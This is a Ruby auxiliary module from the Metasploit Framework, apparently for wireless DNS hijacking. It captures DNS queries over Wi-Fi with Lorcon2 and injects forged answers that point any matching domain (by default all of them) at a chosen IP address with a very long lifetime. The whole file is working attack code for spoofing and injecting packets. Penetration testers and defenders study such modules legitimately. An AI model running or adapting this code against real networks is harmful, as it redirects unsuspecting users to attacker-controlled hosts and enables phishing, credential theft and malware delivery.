## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'yaml' require 'net/dns/packet' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Exploit::Lorcon2 include Msf::Auxiliary::Report def initialize super( 'Name' => 'DNSpwn DNS Hijack', 'Description' => %q{ Race DNS responses and replace DNS queries }, 'Author' => ['dragorn'], 'License' => MSF_LICENSE ) register_options( [ OptPath.new('DNSLIST', [ false, "YAML file of DNS entries for replacement", File.join(Msf::Config.install_root, "data", "exploits", "wifi", "dnspwn", "dnslist.yml") ]), OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]), OptString.new('FILTER', [ true, "Default BPF filter", "port 53"]), OptString.new('IP', [ true, "IP for host resolution", "1.2.3.4" ]), OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]), OptString.new('MATCH', [ true, "Match for DNS name replacement", "(.*)"]), ], self.class) end def run @dnslist = datastore['DNSLIST'] @regex = datastore['MATCH'] @response = datastore['IP'] @filter = datastore['FILTER'] @duration = datastore['DURATION'] @useyaml = datastore['USEDNSFILE'] @dns = [] if @useyaml begin @dns = YAML::load_file(@dnslist) rescue ::Exception => e print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}" end else @dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration } end @run = true open_wifi self.wifi.filter = @filter if not @filter.empty? each_packet do |pkt| d3 = pkt.dot3 next if not d3 p = PacketFu::Packet.parse(d3) rescue nil next unless p.is_udp? dns = Net::DNS::Packet::parse(p.payload) rescue nil next unless dns next if dns.answer.size != 0 next if dns.question.size == 0 @dns.each do |r| hit = nil r['regex'].each do |reg| hit = dns.question[0].qName.scan(/#{reg}/) || nil break if hit.size != 0 end next if hit.size.zero? print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [p.ip_saddr, p.ip_daddr, dns.header.id, r["response"] ]) injpkt = Lorcon::Packet.new() injpkt.bssid = pkt.bssid response_pkt = PacketFu::UDPPacket.new response_pkt.eth_daddr = p.eth_saddr response_pkt.eth_saddr = p.eth_daddr response_pkt.ip_saddr = p.ip_daddr response_pkt.ip_daddr = p.ip_saddr response_pkt.ip_ttl = p.ip_ttl response_pkt.udp_sport = p.udp_dport response_pkt.udp_dport = p.udp_sport dns.header.qr = 1 dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"]) response_pkt.payload = dns.data response_pkt.recalc injpkt.dot3 = response_pkt.to_s if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS) injpkt.direction = Lorcon::Packet::LORCON_TO_DS elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS) injpkt.direction = Lorcon::Packet::LORCON_FROM_DS else injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS end self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error) end end end end